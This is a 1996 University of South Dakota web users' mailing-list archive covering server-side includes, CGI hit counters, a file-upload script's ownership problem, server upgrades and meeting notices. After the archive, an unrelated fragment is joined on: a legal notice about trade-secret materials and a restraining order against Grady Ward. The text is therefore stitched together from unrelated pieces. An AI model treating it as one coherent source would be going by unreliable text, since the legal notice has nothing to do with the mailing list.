agenda will be informal (as usual) and ""reorganizational."" I have or will ask for brief updates from: Heidi Nickisch re the webula-l mailing list Bob Wood or designee re Web server related developments Mark Pike/Michael Hoadley re the Center for Instr. Design & Delivery Others? and input from the group regarding meeting topics and times. It would also be a good time to consider ideas anyone has about the future direction of the USD Web Users Group (USD WUG?). Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id TAA15205 for ; Wed, 9 Oct 1996 19:31:37 -0500 Received: from [192.55.228.139] (ppp32.usd.edu [192.55.228.139]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id TAA01405 for ; Wed, 9 Oct 1996 19:19:37 -0500 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 9 Oct 1996 19:30:24 -0600 To: webula-l@sunbird.usd.edu From: bwjames@sunflowr.usd.edu (brad james) Subject: UPDATE on the counter stuff! I forgot to tell write down two steps. so there is a new step 10 and 11 (I think) If you are actually trying this look at the page again. after you create the cgi-bin directory the permissions need to be changed. --- and you need to change into that directory (that is where the files get copied) sorry for the slip. if anyone actually tries this and it works (or doesn't work) let me know. I actually went through the instructions about a dozen times before I posted the first note and the next time I read it I saw this problem --- who know what else I left out. ""DOS Computers manufactured by companies such as IBM, Compaq, Tandy, and millions of others are by far the most popular, with about 70 million machines in use worldwide. Macintosh fans, on the other hand, may note that cockroaches are far more numerous than humans, and that numbers alone do not denote a higher life form."" -New York Times, November 26, 1991 bwjames@sunbird.usd.edu Brad James Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id UAA16886 for ; Wed, 9 Oct 1996 20:26:25 -0500 Received: from localhost (nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id UAA21817 for ; Wed, 9 Oct 1996 20:23:05 -0500 X-Authentication-Warning: sundance.usd.edu: nickisch owned process doing -bs Date: Wed, 9 Oct 1996 20:23:04 -0500 (CDT) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: WEBULA-L Subject: Computer Fair Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ...this from Allan Jones, ajones@sunfish.usd.edu ------------------------------------------------------------------------------- Please come to the 16th Annual Computer Fair either before or after the meeting and see some of the technology in action. The fair will be held from 9:00 am to 4:00 pm in the Rushmore rooms at CSC. Door prizes and refreshments are part of the enticement for you to come visit us! Allan Jones Consulting Desk Coordinator Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA28977 for ; Fri, 11 Oct 1996 11:20:46 -0500 Received: from acchcoor.sundance.usd.edu (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id LAA02950 for ; Fri, 11 Oct 1996 11:08:41 -0500 Message-Id: <1.5.4.32.19961011162336.006765d8@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 11 Oct 1996 11:23:36 -0500 To: webula-l@sunbird.usd.edu From: brad james Subject: server side just a quick note to share some info about server side include commands (ssi). Maybe everyone already knows this works but anyway.... I was talking to Joe R. a couple of days ago and the subject of ssi came up. The last time I tried they didn't work (maybe I typed something wrong). Anyway ssi does work now (probably has for a long time). You can dynamically update your pages as they are being written ----- with no programming ----- copy any of these to a html document and they will print out their corresponding data set in text on your page dynamically. you can add cgi programming (perl, c, etc.) to update log files, databases and process this info if you really wanted to. TRY IT OUT --- make a html document and view it from netscape. I'd tell you where my test page is but you wouldn't be able to view the source code because it SUBSTITUTES the real data you ask for. test ssi this document was last modified on December 11, 1996 you are connecting from durum0.uwaterloo.ca with the IP address of 129.97.186.226 this document name is 0156.html located at http://www.usd.edu//webula/archives/0156.html you are using Wget/1.9+cvs-stable (Red Hat modified) today is May 23, 2006 The current time is 18:18:38 include text from another file -- [an error occurred while processing this directive] -- Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA00216 for ; Fri, 25 Oct 1996 11:09:32 -0500 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id KAA26708 for ; Fri, 25 Oct 1996 10:56:31 -0500 Date: Fri, 25 Oct 1996 11:05:53 -0500 (CDT) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu Subject: USD footer Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have recently upgraded the USD web server to a newer version of httpd (1.5.2a). You may have noticed some hiccups while I was configuring it. I hope this didn't cause any major problems. At the last meeting we discussed problems with browsers locking up when USD web pages are accessed. I have hopes this upgrade might fix that problem. If anyone notices better (or worse) performance, let me know about it. One problem that was definitely fixed was the issue of using server side includes which referenced environment variables. Several months ago Yaw and I developed a ""footer"" page to include on almost all USD pages. It contains a table with a link back to the USD home page, and code showing when the page was last updated. Unfortunately, this caused pages including it to break (broken images, document contains no data, etc...). Well, with this server upgrade, the footer page now works. So, if you would like to use the USD footer, you can put the following code at the bottom of your page: Directory Search The footer contains the and tags, so you don't need any more code after that line. If you would like to see pages using this footer, check out the bottom of most USD pages, for instance http://www.usd.edu/usd/usd.html. I plan on making other include pages with different (more, less) information. If you have suggestions or problems, please post them. Joe Reynoldson Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id MAA09970 for ; Sat, 26 Oct 1996 12:55:46 -0500 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id MAA26439 for ; Sat, 26 Oct 1996 12:42:40 -0500 Date: Sat, 26 Oct 1996 12:52:06 -0500 (CDT) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu Subject: The SSI issue Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII This message has 2 questions. First of all, I was curious if anyone knows a good place to find all of the possible arguments for the configuration formats. I came across a good tutorial on SSI a while back: but I couldn't find the possible arguments for sizefmt, timefmt, and errmsg. Here are the ones I know for timefmt: %a for abbreviated day of the week (for example Thu) %A for full day of the week (for example Thursday) %b for abbreviated month of the year (for example Oct) %B for full month of the year (for example October) %d gives day of the month (for example 26) %e same as above (got this from Brad's message -- Thanks Brad) %D gives the date as mm/dd/yy (for example 10/26/96) %y gives the year number (for example 96) %Y gives the full year number (for example 1996) %T gives the time of day (for example 12:10:25) I see that Brad and Dale have found some others as well. Is there a good place to find all arguments? I might also suggest this would be a good topic of discussion at the next meeting. Question two is related to the new server. I've heard from two people about performance on the new server. One (a Win95 user) reports she is now having problems that didn't happen before. The other (a Mac user) says his problem has now been fixed. I would appreciate more messages (to myself or the list) telling me if you have seen a change in performance for USD web pages. Signing yet another lengthy message, Joe Reynoldson Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id RAA16800 for ; Sat, 26 Oct 1996 17:42:25 -0500 Received: from [192.55.228.150] (ppp35.usd.edu [192.55.228.150]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id RAA01559 for ; Sat, 26 Oct 1996 17:29:16 -0500 X-Sender: bwjames@sunflowr.usd.edu (Unverified) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Sat, 26 Oct 1996 17:41:17 -0600 To: webula-l@sunbird.usd.edu From: bwjames@sunflowr.usd.edu (brad james) Subject: Re: The SSI issue well (I suppose) Joe's questions made me think about other formats and what else can be done with SSI. while looking I ran across the following two links that seem to be pretty good. FREE Exert from Book on the Web Chapter 5 --- (guess what that part is ?) Chapter 5: Server Side Includes CGI Programming on the World Wide Web: By Shishir Gundavaram http://www.ora.com/www/info/cgi/ch05.html ------- and also this address http://www.sigma.net/tdunn/ssi/echo/ --- bottom of the page ""DOS Computers manufactured by companies such as IBM, Compaq, Tandy, and millions of others are by far the most popular, with about 70 million machines in use worldwide. Macintosh fans, on the other hand, may note that cockroaches are far more numerous than humans, and that numbers alone do not denote a higher life form."" -New York Times, November 26, 1991 bwjames@sunbird.usd.edu Brad James Received: from [192.236.47.118] (jayhawk.ed.usd.edu [192.236.47.118]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id SAA03899 for ; Mon, 28 Oct 1996 18:05:58 -0600 Date: Mon, 28 Oct 1996 18:05:58 -0600 X-Sender: jsumner@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: jsumner@sunbird.usd.edu (Sumner, Jack) Subject: Re: The SSI issue Joe I always get two identical copies of your mail...as well as Brad James. is there something I have to do??? ____ >This message has 2 questions. > >First of all, I was curious if anyone knows a good place to >find all of the possible arguments for the configuration formats. I came >across a good tutorial on SSI a while back: > > > >but I couldn't find the possible arguments for sizefmt, timefmt, and >errmsg. Here are the ones I know for timefmt: > >%a for abbreviated day of the week (for example Thu) >%A for full day of the week (for example Thursday) >%b for abbreviated month of the year (for example Oct) >%B for full month of the year (for example October) >%d gives day of the month (for example 26) >%e same as above (got this from Brad's message -- Thanks Brad) >%D gives the date as mm/dd/yy (for example 10/26/96) >%y gives the year number (for example 96) >%Y gives the full year number (for example 1996) >%T gives the time of day (for example 12:10:25) > >I see that Brad and Dale have found some others as well. Is there a good >place to find all arguments? I might also suggest this would be a good >topic of discussion at the next meeting. > >Question two is related to the new server. I've heard from two people >about performance on the new server. One (a Win95 user) reports she is now >having problems that didn't happen before. The other (a Mac user) says his >problem has now been fixed. I would appreciate more messages (to myself or >the list) telling me if you have seen a change in performance for USD web >pages. > >Signing yet another lengthy message, >Joe Reynoldson JSumner@charlie.usd.edu Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA28843 for ; Mon, 4 Nov 1996 11:41:03 -0600 Received: from localhost (mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id LAA11678 for ; Mon, 4 Nov 1996 11:37:12 -0600 X-Authentication-Warning: sundance.usd.edu: mmarek owned process doing -bs Date: Mon, 4 Nov 1996 11:37:11 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: Multiple recipients of list Subject: Re: server side In-Reply-To: <1.5.4.32.19961011162336.006765d8@sunflowr.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Brad, I finally got around to going through the process on your web page to implement a counter on the USD Foundation WWw page, and I have run into a problem. I believe I went through each step correctly, but I get a broken graphic image. One step I'm not sure of might be the problem, when editing the count.cgi file: # ----------------------- RIGHT HERE ------------------------ # # $serverRoot= ""/usr/local/www/*******""; # $serverRoot= ""/home/coyote/*******/www""; # # # change the following line using one of the two options above # where ******** is your account name # ------------------------------------------------------------- $serverRoot = ""/usr/local/www/foundation""; This is the name of the directory, however I have ownership of that directory under my mmarek account. Did I edit this correctly? Beyond that, I am not sure where the problem might have been. For most of the commands listes on your WWW page, I just marked and copied, so I don't think there were any typos. Any ideas you might have would be helpful. ============================================================================ Michael Marek | ""With the first link, a chain is mmarek@sunflowr.usd.edu | forged. The first speech censured, Vermillion, SD | the first thought forbidden, the *USD Foundation Development Officer | first freedom denied, chains us *Civil Air Patrol NDRN Manager | all irrevocably."" *CAP-COMM & CAP-PAO List Owner | - Jean-Luc Picard, ""The Drumhead"" ============================================================================ Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id NAA03518 for ; Mon, 4 Nov 1996 13:04:45 -0600 Received: from acchcoor.sundance.usd.edu (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id MAA00457 for ; Mon, 4 Nov 1996 12:51:03 -0600 Message-Id: <1.5.4.32.19961104190731.0067d14c@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 04 Nov 1996 13:07:31 -0600 To: webula-l@sunbird.usd.edu From: brad james Subject: Re: server side Usually this would be an indication of permissions not allowing you to run the scripts. check the permissions on the root directory, the cgi-bin, and all files associated with this. > >Any ideas you might have would be helpful. > > Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id OAA08409 for ; Mon, 4 Nov 1996 14:26:57 -0600 Received: from localhost (mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id OAA10399 for ; Mon, 4 Nov 1996 14:23:07 -0600 X-Authentication-Warning: sundance.usd.edu: mmarek owned process doing -bs Date: Mon, 4 Nov 1996 14:23:06 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: Multiple recipients of list Subject: Re: server side In-Reply-To: <1.5.4.32.19961104190731.0067d14c@sunflowr.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 4 Nov 1996, brad james wrote: > Usually this would be an indication of permissions not allowing you to run > the scripts. check the permissions on the root directory, the cgi-bin, and > all files associated with this. I went back and double checked all of them, and apparently had missed changing the chmod of one of the counter files. It is working now. thanks! Mike Received: from sunbird (sunbird.usd.edu [192.55.228.37]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id QAA17398 for ; Mon, 4 Nov 1996 16:56:35 -0600 Date: Mon, 4 Nov 1996 16:56:35 -0600 (CST) From: ""Timothy H. Heaton"" X-Sender: theaton@sunbird Reply-To: ""Timothy H. Heaton"" To: WEBULA-L Subject: File Upload program Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I've written a web program for uploading files from PC that some people might be interested in. I use it to upload practice exams that I write almost daily for my students. You can check it out from my exam page at http://www.usd.edu/esci/exams/ or put the following form on one of your web pages to call the program yourself (substituting your own preferred default directory and filename): One problem I've encountered in using this program is that the owner of the uploaded files is ""daemon"" rather than myself, so either the directory has to be owned by daemon or have global write priv's. Does anyone know a way around this (other than recopying the file after upload)? The program works well as is for my current purposes, but the ownership problem makes setting things up a little complicated. The program requires the cgi-lib.pl routines, and I've modified my copy to remove the ^Z that is often attached to the end of DOS text files created by word processors. Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 Vermillion, SD 57069 /::::::| /::::::| //www.usd.edu/~theaton Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id WAA03176 for ; Mon, 4 Nov 1996 22:47:43 -0600 Received: from [192.55.228.151] (ppp36.usd.edu [192.55.228.151]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id WAA23057 for ; Mon, 4 Nov 1996 22:33:59 -0600 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 4 Nov 1996 22:46:35 -0600 To: webula-l@sunbird.usd.edu From: bwjames@sunflowr.usd.edu (brad james) Subject: Re: File Upload program After you set up the scripts - etc. before the files are created type this in touch filename this will create an empty file name and make you the creator. (picked this up from Joe C. at one of the webula meetings.) >One problem I've encountered in using this program is that the owner of >the uploaded files is ""daemon"" rather than myself, so either the directory >has to be owned by daemon or have global write priv's. Does anyone know a >way around this (other than recopying the file after upload)? > ""DOS Computers manufactured by companies such as IBM, Compaq, Tandy, and millions of others are by far the most popular, with about 70 million machines in use worldwide. Macintosh fans, on the other hand, may note that cockroaches are far more numerous than humans, and that numbers alone do not denote a higher life form."" -New York Times, November 26, 1991 bwjames@sunbird.usd.edu Brad James Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id XAA05263 for ; Mon, 4 Nov 1996 23:48:33 -0600 Received: from [192.55.228.151] (ppp36.usd.edu [192.55.228.151]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id XAA24872 for ; Mon, 4 Nov 1996 23:34:48 -0600 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 4 Nov 1996 23:47:25 -0600 To: webula-l@sunbird.usd.edu From: bwjames@sunflowr.usd.edu (brad james) Subject: Re: File Upload program W O O P S W O O P S W O O P S W O O P S I guess i responded too fast to that last question. I tried the program and it is easy to set up etc. I changed the program several ways: tried the touch (inside the program), tried copying to an exsisting filename and then changing the filename, plus a couple of other variations. Basically what I found is that when the program (Netscape) is used to upload the file, it rewrites any exsisting creator information entered PRIOR to the execution of the script. (becomes DAEMON) sorry for the inconvienence ""DOS Computers manufactured by companies such as IBM, Compaq, Tandy, and millions of others are by far the most popular, with about 70 million machines in use worldwide. Macintosh fans, on the other hand, may note that cockroaches are far more numerous than humans, and that numbers alone do not denote a higher life form."" -New York Times, November 26, 1991 bwjames@sunbird.usd.edu Brad James Received: from sunbird (sunbird.usd.edu [192.55.228.37]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA17072 for ; Tue, 5 Nov 1996 09:05:40 -0600 Date: Tue, 5 Nov 1996 09:05:40 -0600 (CST) From: ""Timothy H. Heaton"" X-Sender: theaton@sunbird Reply-To: ""Timothy H. Heaton"" To: Multiple recipients of list Subject: Re: File Upload program In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 5 Nov 1996, brad james wrote: > I tried the program and it is easy to set up etc. > I changed the program several ways: tried the touch (inside the program), > tried copying to an exsisting filename and then changing the filename, plus > a couple of other variations. > > Basically what I found is that when the program (Netscape) is used to > upload the file, it rewrites any exsisting creator information entered > PRIOR to the execution of the script. (becomes DAEMON) It's not hard to change the ownership after the fact, though. A mv command leaves ownership the same, but cp makes the user the owner of the copy. A simple unix program could change ownership via a single command. The only problem is leaving global write access to the directory, though this could be changed before and after uploads. Another solution is to have the daemon create the directory it will be using so that only it has write priv's, then use web programs to do all the manipulation. By next semester I'll have a practice exam question editor running that students can use to add practice questions to web exams, and this will be my obvious solution. That way the web program is controlling what can and can't be done, and I doubt anyone will go to the trouble to write a web program specifically to do damage to my filespace. But any valuable documents should have backup copies elsewhere just to be safe. Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 Vermillion, SD 57069 /::::::| /::::::| //www.usd.edu/~theaton Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA20651 for ; Tue, 5 Nov 1996 10:13:49 -0600 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id KAA06933 for ; Tue, 5 Nov 1996 10:00:04 -0600 Date: Tue, 5 Nov 1996 10:09:55 -0600 (CST) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu Subject: HTML Reference Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Microsoft has made an HTML Reference in the Windows help format. I put it on sunfish anonymous FTP under pc/win95/htmlref.zip. Joe Reynoldson Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA24074 for ; Wed, 13 Nov 1996 10:57:05 -0600 Received: from [192.236.47.2] (techguru.ed.usd.edu [192.236.47.2]) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id KAA27605 for ; Wed, 13 Nov 1996 10:53:05 -0600 X-Sender: dfarland@sundance.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 13 Nov 1996 10:57:15 -0600 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: November meeting The November Web Users Group meeting is scheduled for: Thursday, Nov. 21, Noon - 1 pm in Education 110 Joe Reynoldson suggested that server-side includes (SSI) would be a good topic for discussion, so I have asked him if he would be willing to lead the discussion and present any information he would like about the topic--he said OK. If you haven't given them (SSI) a try yet, they do very easily solve a few problems with Web pages. Bring your questions and examples of how you are using them. There will be the usual open discussion and probably updates from CSCI about what is and will be happening with the Web server. Maybe we will find about about the soon coming requirement of ID/password for PPP dial-in. I'm always interested in suggestions for special topics for meetings and advice about when to schedule the meetings. For example, would a standing day and time be better or should we stay with the floating-day approach. By the way, suggesting a topic does not obligate you to present or lead the discussion. On the other hand, volunteers are always appreciated. Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id IAA23900; Wed, 20 Nov 1996 08:36:56 -0600 Received: from [192.236.47.2] (techguru.ed.usd.edu [192.236.47.2]) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id IAA28162; Wed, 20 Nov 1996 08:32:47 -0600 X-Sender: dfarland@sundance.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 20 Nov 1996 08:37:10 -0600 To: webula-l@sunbird.usd.edu, mhoadley@charlie.usd.edu (Michael R. Hoadley), wbruning@charlie.usd.edu (Wayne Bruning), rthompso@charlie.usd.edu (Ray Thompson), dfarland@sunflowr.usd.edu (Dale S. Farland), jengelki@charlie.usd.edu, kbloomqu@charlie.usd.edu, aberg@sunbird.usd.edu, ldaniels@charlie.usd.edu, landerso@charlie.usd.edu (Larry Anderson), gjacobs@charlie.usd.edu (Gera Jacobs), tkeller@charlie.usd.edu (Tina Keller), jlewis@charlie.usd.edu (James Lewis), bmay@sundance.usd.edu (Bruce May), lscribne@charlie.usd.edu (Linda Scribner), slagle@jurist.law.usd.edu (Frank Slagle), jthomas@sundance.usd.edu (John Thomas), ltornabe@sunflowr.usd.edu (Ladona Tornabene), jweisel@sunflowr.usd.edu (James Weisel), pmccarty@sunflowr.usd.edu (Pat McCarty), mderby@sunbird.usd.edu (Mark Derby), rjones@sunflowr.usd.edu (Romney Jones), hfickboh@sunbird.usd.edu (Herb Fickbohm), ctown@sunflowr.usd.edu (Chad Town), rthompso@charlie.usd.edu (Ray Thompson), dfarland@sunflowr.usd.edu (Dale Farland), kbloomqu@charlie.usd.edu (Karen Bloomquist), jpike@sunflowr.usd.edu (J. Mark Pike), mhoadley@charlie.usd.edu (Michael R. Hoadley) From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Meeting today - reminder Just a reminder that the meeting for the Web Users Group is today. Come learn about server-side includes and other topics. > Thursday, Nov. 21, Noon - 1 pm in Education 110 Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA25309; Wed, 20 Nov 1996 09:09:04 -0600 Received: from [192.236.47.2] (techguru.ed.usd.edu [192.236.47.2]) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id JAA02137; Wed, 20 Nov 1996 09:04:54 -0600 X-Sender: dfarland@sundance.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 20 Nov 1996 09:09:17 -0600 To: webula-l@sunbird.usd.edu, mhoadley@charlie.usd.edu (Michael R. Hoadley), wbruning@charlie.usd.edu (Wayne Bruning), rthompso@charlie.usd.edu (Ray Thompson), dfarland@sunflowr.usd.edu (Dale S. Farland), jengelki@charlie.usd.edu, kbloomqu@charlie.usd.edu, aberg@sunbird.usd.edu, ldaniels@charlie.usd.edu, landerso@charlie.usd.edu (Larry Anderson), gjacobs@charlie.usd.edu (Gera Jacobs), tkeller@charlie.usd.edu (Tina Keller), jlewis@charlie.usd.edu (James Lewis), bmay@sundance.usd.edu (Bruce May), lscribne@charlie.usd.edu (Linda Scribner), slagle@jurist.law.usd.edu (Frank Slagle), jthomas@sundance.usd.edu (John Thomas), ltornabe@sunflowr.usd.edu (Ladona Tornabene), jweisel@sunflowr.usd.edu (James Weisel), pmccarty@sunflowr.usd.edu (Pat McCarty), mderby@sunbird.usd.edu (Mark Derby), rjones@sunflowr.usd.edu (Romney Jones), hfickboh@sunbird.usd.edu (Herb Fickbohm), ctown@sunflowr.usd.edu (Chad Town), rthompso@charlie.usd.edu (Ray Thompson), dfarland@sunflowr.usd.edu (Dale Farland), kbloomqu@charlie.usd.edu (Karen Bloomquist), jpike@sunflowr.usd.edu (J. Mark Pike), mhoadley@charlie.usd.edu (Michael R. Hoadley) From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Meeting xtodayx - SORRY! / Tomorrow Just a reminder that the meeting for the Web Users Group is TOMORROW (Thursday). Come learn about server-side includes and other topics. > Thursday, Nov. 21, Noon - 1 pm in Education 110 Dale {It already has been one of ""those kind of weeks!"" Thanks for the reminder, Larry.} Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id OAA06969 for ; Fri, 22 Nov 1996 14:55:47 -0600 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id OAA11507 for ; Fri, 22 Nov 1996 14:40:55 -0600 Date: Fri, 22 Nov 1996 14:51:34 -0600 (CST) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu Subject: Power Point mime type Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Heidi Nickisch brought to my attention today that the server was not configured to server power point files correctly. I added it to the mime.types file as application/mspowerpoint with the standard extension of .ppt. If there are other standard extensions for power point that you think I should add, or if the application name I chose causes problems for you, please let me know. Joe Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA13532 for ; Tue, 26 Nov 1996 09:21:54 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Tue, 26 Nov 1996 9:17:58 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <329B2676@csmsgate.csrv.usd.edu>; Tue, 26 Nov 96 09:18:46 PST From: ""Erickson, Sandra J."" To: webula-l Subject: RE: Power Point mime type Date: Tue, 26 Nov 96 09:16:00 PST Message-ID: <329B2676@csmsgate.csrv.usd.edu> Encoding: 16 TEXT X-Mailer: Microsoft Mail V3.0 Does this mean that we can put powerpoint files on our web pages? ---------- From: webula-l To: Multiple recipients of list Subject: Power Point mime type Date: Friday, November 22, 1996 3:59PM Heidi Nickisch brought to my attention today that the server was not configured to server power point files correctly. I added it to the mime.types file as application/mspowerpoint with the standard extension of .ppt. If there are other standard extensions for power point that you think I should add, or if the application name I chose causes problems for you, please let me know. Joe Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA19533 for ; Tue, 3 Dec 1996 09:19:13 -0600 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id JAA27712 for ; Tue, 3 Dec 1996 09:03:41 -0600 Date: Tue, 3 Dec 1996 09:14:50 -0600 (CST) From: Joe Reynoldson X-Sender: jreynold@sundance To: Multiple recipients of list Subject: RE: Power Point mime type In-Reply-To: <329B2676@csmsgate.csrv.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII This means the web server can serve Power Point files. If you link to a power point file, it will send the file to the client with the correct mime information preceding it. This way, the client understands what type of data is coming and it can figure out how to process it (usually with a helper app, plugin, or a prompt to the user). Joe Reynoldson On Tue, 26 Nov 1996, Erickson, Sandra J. wrote: > > Does this mean that we can put powerpoint files on our web pages? > ---------- > From: webula-l > To: Multiple recipients of list > Subject: Power Point mime type > Date: Friday, November 22, 1996 3:59PM > > Heidi Nickisch brought to my attention today that the server was not > configured to server power point files correctly. I added it to the > mime.types file as application/mspowerpoint with the standard extension of > .ppt. If there are other standard extensions for power point that you > think I should add, or if the application name I chose causes problems for > you, please let me know. Next message: Joe Reynoldson: ""Webula Mail Archives"" Next message: Joe Reynoldson: ""testing (IGNORE)"" Previous message: Joe Reynoldson: ""RE: Power Point mime type""",0,1 """Emulsions F. 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If anyone still has a copy of those materials, it is the fruit of that theft and in violation of those court orders. There is no *legal* copy of these materials in existence. You are hereby put on notice that because these materials are protected not only under copyright, but also trade secret law, your *solicitation* of these materials is in violation of the law, as would be your disclosure of them to others by whatever means. By your solicitation, you are also inducing violation of the law by others. I am including at the end of this message the notice that I posted to several newsgroups on March 22, 1996, containing the TRO that was issued by the United States District Court for the Northern District of California on March 21, 1996 against Grady Ward and those acting in concert with him. I repeat here that you are on notice of this TRO. If you engage in actions prohibited by this TRO, you do so at your peril. While we would rather not have to litigate, we will take all necessary legal actions to protect these intellectual properties. 